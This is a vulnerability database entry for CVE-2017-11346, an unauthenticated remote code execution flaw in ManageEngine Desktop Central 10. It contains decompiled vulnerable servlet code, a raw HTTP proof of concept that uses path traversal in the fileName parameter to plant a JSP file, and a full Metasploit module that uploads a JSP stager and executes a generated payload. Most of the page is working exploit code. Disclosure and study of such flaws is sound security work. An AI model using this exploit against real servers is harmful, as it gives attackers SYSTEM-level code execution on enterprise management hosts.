Lucene search

K
seebugRootSSV:96295
HistoryJul 25, 2017 - 12:00 a.m.

ManageEngine Desktop Central 10 Build 100087 RCE(CVE-2017-11346)

2017-07-2500:00:00
Root
www.seebug.org
63

EPSS

0.158

Percentile

96.0%

Description:

When uploading a file, the FileUploadServlet class does not check the user-controlled fileName parameter using hasVulnerabilityInFileName function.

This allows a remote attacker to create a malicious file and place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM.

package com.adventnet.sym.webclient.common;

public class FileUploadServlet extends HttpServlet
{
  private Logger logger = Logger.getLogger("RDSLogger");


  public static final String RDS_UPLOAD = "rds_file_upload";

  public static final String SCRIPT_LOG_UPLOAD = "scriptLog";

  public static final String HELPDESK_VIDEO_UPLOAD = "HelpDesk_video";


  public void doPost(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException
  {
    String sourceMethod = "FileUploadServlet::doPost";
    this.logger.log(Level.INFO, sourceMethod + " -> Received request from : " + request.getRemoteHost());
    String action = request.getParameter("action");
    if ("scriptLog".equals(action)) {
      scriptLogUpload(request, response);
    } else if ("rds_file_upload".equals(action)) {
       rdsScreenUpload(request, response);
     } else if ("HelpDesk_video".equals(action)) {
       helpDeskVideoUpload(request, response);
     }
   }

   private void helpDeskVideoUpload(HttpServletRequest request, HttpServletResponse response)
   {
     String sourceMethod = "FileUploadServlet::helpDeskVideoUpload";
     try {
       String action = request.getParameter("action");
       String resourceId = request.getParameter("resourceId");
       String compName = request.getParameter("computerName");
       long customerId = Long.parseLong(request.getParameter("customerId"));
       String videoFileName = request.getParameter("fileName");
       Long nDataLength = Long.valueOf(request.getContentLength());
       try
       {
         PrintWriter responsetoAgent = response.getWriter();
         if ((compName != null) && (FileUploadUtil.hasVulnerabilityInFileName(compName))) {
           this.logger.log(Level.WARNING, "FileUploadServlet : Going to reject the helpDeskVideoUpload request from: compName:{0}", new Object[] { compName });
           response.sendError(403, "Request Refused");
           return;
         }

         long freeSpace = RDSUtil.getInstance().getServerFreeSpace();
         if (nDataLength.longValue() < freeSpace) {
           String server_home = DCMetaDataUtil.getInstance().getServerDataDir(Long.valueOf(customerId));
           String fs = File.separator;
           this.logger.log(Level.FINE, sourceMethod + " -> The server home path is : " + server_home);
           String absoluteFileName = server_home + fs + "HelpDesk" + fs + compName + "_" + resourceId;
           if (!ApiFactory.getFileAccessAPI().isFileExists(absoluteFileName))
           {
             ApiFactory.getFileAccessAPI().createDirectory(absoluteFileName);
           }
           absoluteFileName = absoluteFileName + fs + videoFileName;
           String receivedStatus = downloadFile(request, absoluteFileName);
           if ("Success".equalsIgnoreCase(receivedStatus)) {
             response.setHeader("Upload_Status", receivedStatus);
           }
         }
         else {
           this.logger.log(Level.WARNING, sourceMethod + " -> No required Space is availbale to store the video file ");
           responsetoAgent.println("Status :1|Msg :No enough sapce in server to save video file|");
         }
         this.logger.log(Level.INFO, sourceMethod + " -> The method ended ");
       } catch (Exception ex) {
         response.sendError(500, "Problem while retriving video in server");
         this.logger.log(Level.WARNING, sourceMethod + " -> Exception occured : " + ex);
       }
     } catch (Exception ex) {
       this.logger.log(Level.WARNING, sourceMethod + " -> Exception occured : " + ex);
     }
   }


  private String downloadFile(HttpServletRequest request, String destnAbsoluteFileName)
  {
    String status = "Success";
    Long nDataLength = Long.valueOf(request.getContentLength());
    String checkSumValue = request.getParameter("checkSumValue");
    try
    {
      String sourceMethod = "FileUploadServlet::downLoadFile";
      InputStream appIn = request.getInputStream();
      Thread.sleep(5000L);
      OutputStream outputFile = new FileOutputStream(destnAbsoluteFileName);
      this.logger.log(Level.INFO, sourceMethod + "  -----> Method Starts  <-----");
      try
      {
        int numread = 0;
        int count = 0;
        byte[] bytesread = new byte[262144];
        long receivedFileSize = 0L;
        this.logger.log(Level.INFO, sourceMethod + " -> Total Received Data length = : " + nDataLength);

        while ((appIn != null) && ((numread = appIn.read(bytesread)) != -1)) {
          count++;
          this.logger.log(Level.FINE, sourceMethod + " -> Going to write the file: count: " + count + " numread :" + numread);
          outputFile.write(bytesread, 0, numread);
          receivedFileSize += numread;
          this.logger.log(Level.FINE, sourceMethod + " -> receivedFileSize: " + receivedFileSize);
        }

        String checkSum = ChecksumProvider.getInstance().GetMD5HashFromFile(destnAbsoluteFileName);
        this.logger.log(Level.INFO, sourceMethod + " Generated checksum value is : " + checkSum);
        if ((nDataLength.longValue() != receivedFileSize) || (!checkSum.equals(checkSumValue))) {
          status = "Failed";
        }
      }
      catch (Exception e) {
        this.logger.log(Level.WARNING, " -> Exception occured while writing file: " + e);
      } finally {
        outputFile.close();
        if (appIn != null) {
          appIn.close();
        }
      }
      this.logger.log(Level.INFO, sourceMethod + "  -----> Method Ends  <-----");
    } catch (Exception e) {
      this.logger.log(Level.WARNING, " -> Exception occured : " + e);
    }
    return status;
  }
}

Proof of Concept:

Download Metasploit Module

Send request:

POST /fileupload?action=HelpDesk_video&computerName=hacked&resourceId=1&fileName=\..\..\..\..\jspf\hack.jsp&customerId=1 HTTP/1.1
Host: localhost:8020
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Connection: close
Content-Length: 29

<%= new String("Hello!") %>

Then visit:

http://localhost:8020/jspf/hack.jsp

Timeline:

  • 21-04-2017: Discovered
  • 05-05-2017: Vendor notified
  • 12-07-2017: New version released, issue resolved

                                                ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'nokogiri'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "ManageEngine Desktop Central 10 FileUploadServlet fileName RCE Vulnerability",
      'Description'    => %q{
        This module exploits a vulnerability found in ManageEngine Desktop Central 10. When
        uploading a file, the FileUploadServlet class does not check the user-controlled
        fileName parameter. This allows a remote attacker to create a malicious file and place
        it under a directory that allows server-side scripts to run,
        which results in remote code execution under the context of SYSTEM.

        This exploit was successfully tested on version 10, build 100087.

        Exploit code based on https://www.exploit-db.com/exploits/38982/
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Kacper Szurek' ],
      'References'     =>
        [
          [ 'URL', 'https://security.szurek.pl/manageengine-desktop-central-10-build-100087-rce.html' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'ManageEngine Desktop Central 10 on Windows', {} ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'Privileged'     => false,
      'DisclosureDate' => "July 24 2017",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path for ManageEngine Desktop Central', '/']),
        Opt::RPORT(8020)
      ], self.class)
  end

  def jsp_drop_bin(bin_data, output_file)
    jspraw =  %Q|<%@ page import="java.io.*" %>\n|
    jspraw << %Q|<%\n|
    jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|

    jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|

    jspraw << %Q|int numbytes = data.length();\n|

    jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
    jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
    jspraw << %Q|{\n|
    jspraw << %Q|  char char1 = (char) data.charAt(counter);\n|
    jspraw << %Q|  char char2 = (char) data.charAt(counter + 1);\n|
    jspraw << %Q|  int comb = Character.digit(char1, 16) & 0xff;\n|
    jspraw << %Q|  comb <<= 4;\n|
    jspraw << %Q|  comb += Character.digit(char2, 16) & 0xff;\n|
    jspraw << %Q|  bytes[counter/2] = (byte)comb;\n|
    jspraw << %Q|}\n|

    jspraw << %Q|outputstream.write(bytes);\n|
    jspraw << %Q|outputstream.close();\n|
    jspraw << %Q|%>\n|

    jspraw
  end

  def jsp_execute_command(command)
    jspraw =  %Q|<%@ page import="java.io.*" %>\n|
    jspraw << %Q|<%\n|
    jspraw << %Q|try {\n|
    jspraw << %Q|  Runtime.getRuntime().exec("chmod +x #{command}");\n|
    jspraw << %Q|} catch (IOException ioe) { }\n|
    jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
    jspraw << %Q|%>\n|

    jspraw
  end

  def get_jsp_stager
    exe = generate_payload_exe(code: payload.encoded)
    jsp_fname = "#{Rex::Text.rand_text_alpha(5)}.jsp"

    register_files_for_cleanup("../webapps/DesktopCentral/jspf/#{jsp_fname}")

    {
      jsp_payload: jsp_drop_bin(exe, jsp_fname) + jsp_execute_command(jsp_fname),
      jsp_name:    jsp_fname
    }
  end

  def get_build_number(res)
    inputs = res.get_hidden_inputs
    inputs.first['buildNum']
  end

  def get_html_title(res)
    html = res.body
    n = ::Nokogiri::HTML(html)
    x = n.xpath('//title').text
  end

  def check
    uri = normalize_uri(target_uri.path, '/configurations.do')

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri
    })

    unless res
      print_error("Connection timed out")
      return Exploit::CheckCode::Unknown
    end

    build_number = get_build_number(res)
    if build_number.to_s.empty?
      print_error("Cannot find build number")
    else
      print_status("Found build number: #{build_number}")
    end
    
    html_title   = get_html_title(res)

    if html_title.to_s.empty?
      print_error("Cannot find title")
    else
      print_status("Found title: #{html_title}")
    end
   
    if build_number.to_i <= 100087
      return Exploit::CheckCode::Appears
    elsif /ManageEngine Desktop Central 10/ === html_title
      return Exploit::CheckCode::Detected
    end


    Exploit::CheckCode::Safe
  end

  def upload_jsp(stager_info)
    uri = normalize_uri(target_uri.path, 'fileupload')

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'     => uri,
      'ctype'     => 'application/octet-stream',
      'encode_params' => false,
      'data'      => stager_info[:jsp_payload],
      'vars_get'    => {
        'action'    => 'HelpDesk_video',
        'computerName'  => Rex::Text.rand_text_alpha(rand(10)+5),
        'resourceId'  => 1,
        'customerId'  => 1,
        'fileName'    => "\\..\\..\\..\\..\\jspf\\#{stager_info[:jsp_name]}"
      }
    })

    if res.nil?
      fail_with(Failure::Unknown, "Connection timed out while uploading to #{uri}")
    elsif res && res.code != 200
      fail_with(Failure::Unknown, "The server returned #{res.code}, but 200 was expected.")
    end
  end

  def exec_jsp(stager_info)
    uri = normalize_uri(target_uri.path, "/jspf/#{stager_info[:jsp_name]}")

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri
    })

    if res.nil?
      fail_with(Failure::Unknown, "Connection timed out while executing #{uri}")
    elsif res && res.code != 200
      fail_with(Failure::Unknown, "Failed to execute #{uri}. Server returned #{res.code}")
    end
  end

  def exploit
    print_status("Creating JSP stager")
    stager_info = get_jsp_stager

    print_status("Uploading JSP stager #{stager_info[:jsp_name]}...")
    upload_jsp(stager_info)

    print_status("Executing stager...")
    exec_jsp(stager_info)
  end

end